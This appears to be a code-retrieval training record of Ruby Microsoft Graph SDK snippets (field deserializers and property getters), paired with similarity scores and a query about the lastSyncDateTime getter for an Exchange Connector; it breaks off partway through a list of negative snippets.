"def get_field_deserializers()\n return {\n \"activityIdentifier\" => lambda {|n| @activity_identifier = n.get_string_value() },\n \"countEntitled\" => lambda {|n| @count_entitled = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEntitledForProvisioning\" => lambda {|n| @count_entitled_for_provisioning = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEscrowed\" => lambda {|n| @count_escrowed = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEscrowedRaw\" => lambda {|n| @count_escrowed_raw = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countExported\" => lambda {|n| @count_exported = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countExports\" => lambda {|n| @count_exports = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImported\" => lambda {|n| @count_imported = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImportedDeltas\" => lambda {|n| @count_imported_deltas = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImportedReferenceDeltas\" => lambda {|n| @count_imported_reference_deltas = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"error\" => lambda {|n| @error = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SynchronizationError.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"state\" => lambda {|n| @state = n.get_enum_value(MicrosoftGraph::Models::SynchronizationTaskExecutionResult) },\n \"timeBegan\" => lambda {|n| @time_began = n.get_date_time_value() },\n \"timeEnded\" => lambda {|n| @time_ended = n.get_date_time_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"content\" => lambda {|n| @content = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"transportKey\" => lambda {|n| @transport_key = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"activeDeviceCount\" => lambda {|n| @active_device_count = n.get_number_value() },\n \"deviceManufacturer\" => lambda {|n| @device_manufacturer = n.get_string_value() },\n \"deviceModel\" => lambda {|n| @device_model = n.get_string_value() },\n \"healthStatus\" => lambda {|n| @health_status = n.get_enum_value(MicrosoftGraph::Models::UserExperienceAnalyticsHealthState) },\n \"meanTimeToFailureInMinutes\" => lambda {|n| @mean_time_to_failure_in_minutes = n.get_number_value() },\n \"modelAppHealthScore\" => lambda {|n| @model_app_health_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"resourceAccess\" => lambda {|n| @resource_access = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ResourceAccess.create_from_discriminator_value(pn) }) },\n \"resourceAppId\" => lambda {|n| @resource_app_id = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"deviceId\" => lambda {|n| @device_id = n.get_string_value() },\n \"key\" => lambda {|n| @key = n.get_string_value() },\n \"volumeType\" => lambda {|n| @volume_type = n.get_enum_value(MicrosoftGraph::Models::VolumeType) },\n })\n end",
"def get_field_deserializers()\n return {\n \"anchor\" => lambda {|n| @anchor = n.get_boolean_value() },\n \"apiExpressions\" => lambda {|n| @api_expressions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::StringKeyStringValuePair.create_from_discriminator_value(pn) }) },\n \"caseExact\" => lambda {|n| @case_exact = n.get_boolean_value() },\n \"defaultValue\" => lambda {|n| @default_value = n.get_string_value() },\n \"flowNullValues\" => lambda {|n| @flow_null_values = n.get_boolean_value() },\n \"metadata\" => lambda {|n| @metadata = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AttributeDefinitionMetadataEntry.create_from_discriminator_value(pn) }) },\n \"multivalued\" => lambda {|n| @multivalued = n.get_boolean_value() },\n \"mutability\" => lambda {|n| @mutability = n.get_enum_value(MicrosoftGraph::Models::Mutability) },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"referencedObjects\" => lambda {|n| @referenced_objects = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ReferencedObject.create_from_discriminator_value(pn) }) },\n \"required\" => lambda {|n| @required = n.get_boolean_value() },\n \"type\" => lambda {|n| @type = n.get_enum_value(MicrosoftGraph::Models::AttributeType) },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"nextExpectedRanges\" => lambda {|n| @next_expected_ranges = n.get_collection_of_primitive_values(String) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"size\" => lambda {|n| @size = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"averageBlueScreens\" => lambda {|n| @average_blue_screens = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"averageRestarts\" => lambda {|n| @average_restarts = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"blueScreenCount\" => lambda {|n| @blue_screen_count = n.get_number_value() },\n \"bootScore\" => lambda {|n| @boot_score = n.get_number_value() },\n \"coreBootTimeInMs\" => lambda {|n| @core_boot_time_in_ms = n.get_number_value() },\n \"coreLoginTimeInMs\" => lambda {|n| @core_login_time_in_ms = n.get_number_value() },\n \"deviceCount\" => lambda {|n| @device_count = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"deviceName\" => lambda {|n| @device_name = n.get_string_value() },\n \"diskType\" => lambda {|n| @disk_type = n.get_enum_value(MicrosoftGraph::Models::DiskType) },\n \"groupPolicyBootTimeInMs\" => lambda {|n| @group_policy_boot_time_in_ms = n.get_number_value() },\n \"groupPolicyLoginTimeInMs\" => lambda {|n| @group_policy_login_time_in_ms = n.get_number_value() },\n \"healthStatus\" => lambda {|n| @health_status = n.get_enum_value(MicrosoftGraph::Models::UserExperienceAnalyticsHealthState) },\n \"loginScore\" => lambda {|n| @login_score = n.get_number_value() },\n \"manufacturer\" => lambda {|n| @manufacturer = n.get_string_value() },\n \"model\" => lambda {|n| @model = n.get_string_value() },\n \"modelStartupPerformanceScore\" => lambda {|n| @model_startup_performance_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"operatingSystemVersion\" => lambda {|n| @operating_system_version = n.get_string_value() },\n \"responsiveDesktopTimeInMs\" => lambda {|n| @responsive_desktop_time_in_ms = n.get_number_value() },\n \"restartCount\" => lambda {|n| @restart_count = n.get_number_value() },\n \"startupPerformanceScore\" => lambda {|n| @startup_performance_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return {\n \"connectingIP\" => lambda {|n| @connecting_i_p = n.get_string_value() },\n \"deliveryAction\" => lambda {|n| @delivery_action = n.get_string_value() },\n \"deliveryLocation\" => lambda {|n| @delivery_location = n.get_string_value() },\n \"directionality\" => lambda {|n| @directionality = n.get_string_value() },\n \"internetMessageId\" => lambda {|n| @internet_message_id = n.get_string_value() },\n \"messageFingerprint\" => lambda {|n| @message_fingerprint = n.get_string_value() },\n \"messageReceivedDateTime\" => lambda {|n| @message_received_date_time = n.get_date_time_value() },\n \"messageSubject\" => lambda {|n| @message_subject = n.get_string_value() },\n \"networkMessageId\" => lambda {|n| @network_message_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"application\" => lambda {|n| @application = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Identity.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"preventsDownload\" => lambda {|n| @prevents_download = n.get_boolean_value() },\n \"scope\" => lambda {|n| @scope = n.get_string_value() },\n \"type\" => lambda {|n| @type = n.get_string_value() },\n \"webHtml\" => lambda {|n| @web_html = n.get_string_value() },\n \"webUrl\" => lambda {|n| @web_url = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"id\" => lambda {|n| @id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"nextExpectedRanges\" => lambda {|n| @next_expected_ranges = n.get_collection_of_primitive_values(String) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"uploadUrl\" => lambda {|n| @upload_url = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"appCrashCount\" => lambda {|n| @app_crash_count = n.get_number_value() },\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"appName\" => lambda {|n| @app_name = n.get_string_value() },\n \"appPublisher\" => lambda {|n| @app_publisher = n.get_string_value() },\n \"appVersion\" => lambda {|n| @app_version = n.get_string_value() },\n \"deviceCountWithCrashes\" => lambda {|n| @device_count_with_crashes = n.get_number_value() },\n \"isLatestUsedVersion\" => lambda {|n| @is_latest_used_version = n.get_boolean_value() },\n \"isMostUsedVersion\" => lambda {|n| @is_most_used_version = n.get_boolean_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"attributeMappings\" => lambda {|n| @attribute_mappings = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AttributeMapping.create_from_discriminator_value(pn) }) },\n \"enabled\" => lambda {|n| @enabled = n.get_boolean_value() },\n \"flowTypes\" => lambda {|n| @flow_types = n.get_enum_value(MicrosoftGraph::Models::ObjectFlowTypes) },\n \"metadata\" => lambda {|n| @metadata = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ObjectMappingMetadataEntry.create_from_discriminator_value(pn) }) },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"scope\" => lambda {|n| @scope = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Filter.create_from_discriminator_value(pn) }) },\n \"sourceObjectName\" => lambda {|n| @source_object_name = n.get_string_value() },\n \"targetObjectName\" => lambda {|n| @target_object_name = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"isDefault\" => lambda {|n| @is_default = n.get_boolean_value() },\n \"links\" => lambda {|n| @links = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SectionLinks.create_from_discriminator_value(pn) }) },\n \"pages\" => lambda {|n| @pages = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::OnenotePage.create_from_discriminator_value(pn) }) },\n \"pagesUrl\" => lambda {|n| @pages_url = n.get_string_value() },\n \"parentNotebook\" => lambda {|n| @parent_notebook = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Notebook.create_from_discriminator_value(pn) }) },\n \"parentSectionGroup\" => lambda {|n| @parent_section_group = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SectionGroup.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"appCrashCount\" => lambda {|n| @app_crash_count = n.get_number_value() },\n \"appHangCount\" => lambda {|n| @app_hang_count = n.get_number_value() },\n \"crashedAppCount\" => lambda {|n| @crashed_app_count = n.get_number_value() },\n \"deviceAppHealthScore\" => lambda {|n| @device_app_health_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"deviceDisplayName\" => lambda {|n| @device_display_name = n.get_string_value() },\n \"deviceId\" => lambda {|n| @device_id = n.get_string_value() },\n \"deviceManufacturer\" => lambda {|n| @device_manufacturer = n.get_string_value() },\n \"deviceModel\" => lambda {|n| @device_model = n.get_string_value() },\n \"healthStatus\" => lambda {|n| @health_status = n.get_enum_value(MicrosoftGraph::Models::UserExperienceAnalyticsHealthState) },\n \"meanTimeToFailureInMinutes\" => lambda {|n| @mean_time_to_failure_in_minutes = n.get_number_value() },\n \"processedDateTime\" => lambda {|n| @processed_date_time = n.get_date_time_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"messageId\" => lambda {|n| @message_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"replyChainMessageId\" => lambda {|n| @reply_chain_message_id = n.get_string_value() },\n \"threadId\" => lambda {|n| @thread_id = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"isUsable\" => lambda {|n| @is_usable = n.get_boolean_value() },\n \"isUsableOnce\" => lambda {|n| @is_usable_once = n.get_boolean_value() },\n \"lifetimeInMinutes\" => lambda {|n| @lifetime_in_minutes = n.get_number_value() },\n \"methodUsabilityReason\" => lambda {|n| @method_usability_reason = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n \"temporaryAccessPass\" => lambda {|n| @temporary_access_pass = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"owner\" => lambda {|n| @owner = n.get_string_value() },\n \"properties\" => lambda {|n| @properties = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ExtensionSchemaProperty.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_string_value() },\n \"targetTypes\" => lambda {|n| @target_types = n.get_collection_of_primitive_values(String) },\n })\n end",
"def get_field_deserializers()\n return {\n \"bargeInAllowed\" => lambda {|n| @barge_in_allowed = n.get_boolean_value() },\n \"clientContext\" => lambda {|n| @client_context = n.get_string_value() },\n \"initialSilenceTimeoutInSeconds\" => lambda {|n| @initial_silence_timeout_in_seconds = n.get_number_value() },\n \"maxRecordDurationInSeconds\" => lambda {|n| @max_record_duration_in_seconds = n.get_number_value() },\n \"maxSilenceTimeoutInSeconds\" => lambda {|n| @max_silence_timeout_in_seconds = n.get_number_value() },\n \"playBeep\" => lambda {|n| @play_beep = n.get_boolean_value() },\n \"prompts\" => lambda {|n| @prompts = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Prompt.create_from_discriminator_value(pn) }) },\n \"stopTones\" => lambda {|n| @stop_tones = n.get_collection_of_primitive_values(String) },\n }\n end",
"def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"response\" => lambda {|n| @response = n.get_enum_value(MicrosoftGraph::Models::ResponseType) },\n \"time\" => lambda {|n| @time = n.get_date_time_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"driveId\" => lambda {|n| @drive_id = n.get_string_value() },\n \"driveType\" => lambda {|n| @drive_type = n.get_string_value() },\n \"id\" => lambda {|n| @id = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"path\" => lambda {|n| @path = n.get_string_value() },\n \"shareId\" => lambda {|n| @share_id = n.get_string_value() },\n \"sharepointIds\" => lambda {|n| @sharepoint_ids = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SharepointIds.create_from_discriminator_value(pn) }) },\n \"siteId\" => lambda {|n| @site_id = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"appCrashCount\" => lambda {|n| @app_crash_count = n.get_number_value() },\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"appName\" => lambda {|n| @app_name = n.get_string_value() },\n \"appPublisher\" => lambda {|n| @app_publisher = n.get_string_value() },\n \"appVersion\" => lambda {|n| @app_version = n.get_string_value() },\n \"deviceDisplayName\" => lambda {|n| @device_display_name = n.get_string_value() },\n \"deviceId\" => lambda {|n| @device_id = n.get_string_value() },\n \"processedDateTime\" => lambda {|n| @processed_date_time = n.get_date_time_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"activeMalwareDetectionCount\" => lambda {|n| @active_malware_detection_count = n.get_number_value() },\n \"category\" => lambda {|n| @category = n.get_enum_value(MicrosoftGraph::Models::WindowsMalwareCategory) },\n \"deviceCount\" => lambda {|n| @device_count = n.get_number_value() },\n \"distinctActiveMalwareCount\" => lambda {|n| @distinct_active_malware_count = n.get_number_value() },\n \"lastUpdateDateTime\" => lambda {|n| @last_update_date_time = n.get_date_time_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"issuer\" => lambda {|n| @issuer = n.get_string_value() },\n \"issuerName\" => lambda {|n| @issuer_name = n.get_string_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::CertificateStatus) },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n \"subjectName\" => lambda {|n| @subject_name = n.get_string_value() },\n \"uploadDateTime\" => lambda {|n| @upload_date_time = n.get_date_time_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"appId\" => lambda {|n| @app_id = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"servicePrincipalId\" => lambda {|n| @service_principal_id = n.get_string_value() },\n \"servicePrincipalName\" => lambda {|n| @service_principal_name = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"riskDetections\" => lambda {|n| @risk_detections = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RiskDetection.create_from_discriminator_value(pn) }) },\n \"riskyServicePrincipals\" => lambda {|n| @risky_service_principals = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RiskyServicePrincipal.create_from_discriminator_value(pn) }) },\n \"riskyUsers\" => lambda {|n| @risky_users = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RiskyUser.create_from_discriminator_value(pn) }) },\n \"servicePrincipalRiskDetections\" => lambda {|n| @service_principal_risk_detections = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ServicePrincipalRiskDetection.create_from_discriminator_value(pn) }) },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n })\n end",
"def get_field_deserializers()\n return super.merge({\n })\n end",
"def get_field_deserializers()\n return super.merge({\n })\n end",
"def get_field_deserializers()\n return {\n \"failedTasks\" => lambda {|n| @failed_tasks = n.get_number_value() },\n \"failedUsers\" => lambda {|n| @failed_users = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"successfulUsers\" => lambda {|n| @successful_users = n.get_number_value() },\n \"totalTasks\" => lambda {|n| @total_tasks = n.get_number_value() },\n \"totalUsers\" => lambda {|n| @total_users = n.get_number_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"durationInSeconds\" => lambda {|n| @duration_in_seconds = n.get_number_value() },\n \"joinDateTime\" => lambda {|n| @join_date_time = n.get_date_time_value() },\n \"leaveDateTime\" => lambda {|n| @leave_date_time = n.get_date_time_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"applicationId\" => lambda {|n| @application_id = n.get_string_value() },\n \"changeType\" => lambda {|n| @change_type = n.get_string_value() },\n \"clientState\" => lambda {|n| @client_state = n.get_string_value() },\n \"creatorId\" => lambda {|n| @creator_id = n.get_string_value() },\n \"encryptionCertificate\" => lambda {|n| @encryption_certificate = n.get_string_value() },\n \"encryptionCertificateId\" => lambda {|n| @encryption_certificate_id = n.get_string_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"includeResourceData\" => lambda {|n| @include_resource_data = n.get_boolean_value() },\n \"latestSupportedTlsVersion\" => lambda {|n| @latest_supported_tls_version = n.get_string_value() },\n \"lifecycleNotificationUrl\" => lambda {|n| @lifecycle_notification_url = n.get_string_value() },\n \"notificationQueryOptions\" => lambda {|n| @notification_query_options = n.get_string_value() },\n \"notificationUrl\" => lambda {|n| @notification_url = n.get_string_value() },\n \"notificationUrlAppId\" => lambda {|n| @notification_url_app_id = n.get_string_value() },\n \"resource\" => lambda {|n| @resource = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"entityType\" => lambda {|n| @entity_type = n.get_string_value() },\n \"mailNickname\" => lambda {|n| @mail_nickname = n.get_string_value() },\n \"onBehalfOfUserId\" => lambda {|n| @on_behalf_of_user_id = n.get_guid_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"actionName\" => lambda {|n| @action_name = n.get_string_value() },\n \"actionState\" => lambda {|n| @action_state = n.get_enum_value(MicrosoftGraph::Models::ActionState) },\n \"lastUpdatedDateTime\" => lambda {|n| @last_updated_date_time = n.get_date_time_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"accountName\" => lambda {|n| @account_name = n.get_string_value() },\n \"azureAdUserId\" => lambda {|n| @azure_ad_user_id = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"domainName\" => lambda {|n| @domain_name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"userPrincipalName\" => lambda {|n| @user_principal_name = n.get_string_value() },\n \"userSid\" => lambda {|n| @user_sid = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"comment\" => lambda {|n| @comment = n.get_string_value() },\n \"createdBy\" => lambda {|n| @created_by = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::IdentitySet.create_from_discriminator_value(pn) }) },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"items\" => lambda {|n| @items = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::DocumentSetVersionItem.create_from_discriminator_value(pn) }) },\n \"shouldCaptureMinorVersion\" => lambda {|n| @should_capture_minor_version = n.get_boolean_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"resourceId\" => lambda {|n| @resource_id = n.get_string_value() },\n \"uri\" => lambda {|n| @uri = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"callChainId\" => lambda {|n| @call_chain_id = n.get_guid_value() },\n \"cloudServiceDeploymentEnvironment\" => lambda {|n| @cloud_service_deployment_environment = n.get_string_value() },\n \"cloudServiceDeploymentId\" => lambda {|n| @cloud_service_deployment_id = n.get_string_value() },\n \"cloudServiceInstanceName\" => lambda {|n| @cloud_service_instance_name = n.get_string_value() },\n \"cloudServiceName\" => lambda {|n| @cloud_service_name = n.get_string_value() },\n \"deviceDescription\" => lambda {|n| @device_description = n.get_string_value() },\n \"deviceName\" => lambda {|n| @device_name = n.get_string_value() },\n \"mediaLegId\" => lambda {|n| @media_leg_id = n.get_guid_value() },\n \"mediaQualityList\" => lambda {|n| @media_quality_list = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::TeleconferenceDeviceMediaQuality.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"participantId\" => lambda {|n| @participant_id = n.get_guid_value() },\n }\n end",
"def _before_validation\n serialize_deserialized_values\n super\n end",
"def get_field_deserializers()\n return super.merge({\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"isBuiltIn\" => lambda {|n| @is_built_in = n.get_boolean_value() },\n \"roleAssignments\" => lambda {|n| @role_assignments = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RoleAssignment.create_from_discriminator_value(pn) }) },\n \"rolePermissions\" => lambda {|n| @role_permissions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RolePermission.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"firstSeenDateTime\" => lambda {|n| @first_seen_date_time = n.get_date_time_value() },\n \"host\" => lambda {|n| @host = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityHost.create_from_discriminator_value(pn) }) },\n \"kind\" => lambda {|n| @kind = n.get_string_value() },\n \"lastSeenDateTime\" => lambda {|n| @last_seen_date_time = n.get_date_time_value() },\n \"value\" => lambda {|n| @value = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"color\" => lambda {|n| @color = n.get_string_value() },\n \"criterion1\" => lambda {|n| @criterion1 = n.get_string_value() },\n \"criterion2\" => lambda {|n| @criterion2 = n.get_string_value() },\n \"dynamicCriteria\" => lambda {|n| @dynamic_criteria = n.get_string_value() },\n \"filterOn\" => lambda {|n| @filter_on = n.get_string_value() },\n \"icon\" => lambda {|n| @icon = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WorkbookIcon.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"operator\" => lambda {|n| @operator = n.get_string_value() },\n \"values\" => lambda {|n| @values = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end"
] |
[
"0.6510734",
"0.63224316",
"0.6322254",
"0.63094735",
"0.62954384",
"0.6238735",
"0.6232461",
"0.62155676",
"0.6200175",
"0.6199403",
"0.6173917",
"0.61733985",
"0.61705345",
"0.61631054",
"0.61620396",
"0.6158031",
"0.6156071",
"0.6142402",
"0.613998",
"0.6138061",
"0.61200523",
"0.6089013",
"0.60869795",
"0.6079146",
"0.60785794",
"0.6070405",
"0.6063533",
"0.60625833",
"0.6061235",
"0.60584134",
"0.6055769",
"0.6051312",
"0.60465735",
"0.6046329",
"0.6031944",
"0.6029311",
"0.6028314",
"0.60255736",
"0.6022033",
"0.60210633",
"0.6009887",
"0.5988654",
"0.59844214",
"0.59793943",
"0.5975247",
"0.5969614",
"0.596824",
"0.5966432",
"0.5965554",
"0.596292",
"0.5951651",
"0.5950895",
"0.59456754",
"0.59448177",
"0.593984",
"0.59362113",
"0.5935833",
"0.59319806",
"0.59312665",
"0.59307545",
"0.5930406",
"0.5926444",
"0.5926136",
"0.59240156",
"0.5922303",
"0.591605",
"0.591336",
"0.5913327",
"0.59130335",
"0.5910617",
"0.5906052",
"0.5906045",
"0.59042066",
"0.5903306",
"0.5902868",
"0.59027255",
"0.5902389",
"0.5902219",
"0.5901496",
"0.58978146",
"0.5891392",
"0.5890228",
"0.5885622",
"0.5885429",
"0.5884738",
"0.5883899",
"0.5883899",
"0.5883899",
"0.58811784",
"0.5878516",
"0.5877111",
"0.5869185",
"0.5844199",
"0.58430207",
"0.58408237",
"0.58383596",
"0.58362466",
"0.5836192",
"0.5835942",
"0.5834559",
"0.583357"
] |
0.0
|
-1
|
Gets the lastSyncDateTime property value. Last sync time for the Exchange Connector
|
def last_sync_date_time
return @last_sync_date_time
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def last_sync\n time_parser(self[:last_sync])\n end",
"def last_sync_date_time=(value)\n @last_sync_date_time = value\n end",
"def last_sync_date_time=(value)\n @last_sync_date_time = value\n end",
"def last_synchronize\n last_update\n end",
"def microsoft_store_for_business_last_successful_sync_date_time\n return @microsoft_store_for_business_last_successful_sync_date_time\n end",
"def last_time\n @last_time\n end",
"def microsoft_store_for_business_last_completed_application_sync_time\n return @microsoft_store_for_business_last_completed_application_sync_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_time\n data[:last_updated_time]\n end",
"def last_synchronization\n HasRemote::Synchronization.for(self.name).last\n end",
"def last_refresh_time\n return @last_refresh_time\n end",
"def last_updated_at\n @last_updated_at\n end",
"def microsoft_store_for_business_last_completed_application_sync_time=(value)\n @microsoft_store_for_business_last_completed_application_sync_time = value\n end",
"def remote_sync_interval\n @attributes[:remote_sync_interval]\n end",
"def microsoft_store_for_business_last_successful_sync_date_time=(value)\n @microsoft_store_for_business_last_successful_sync_date_time = value\n end",
"def last_synced_at(shop_id, routine)\n response = request :get, \"shops/#{shop_id}/#{routine}/last_synced_at\"\n response.body['last_synced_at']\n end",
"def last_update\n Time.parse(@record.SystemModstamp)\n end",
"def last_heartbeat_date_time\n return @last_heartbeat_date_time\n end",
"def last_heartbeat_date_time\n return @last_heartbeat_date_time\n end",
"def last_update_at\n connection.get_metric_last_update_at(@id)\n end",
"def last_refresh\n @dt\n end",
"def last_refresh\n @dt\n end",
"def last_refresh\n @dt\n end",
"def last_reported_date_time\n return @last_reported_date_time\n end",
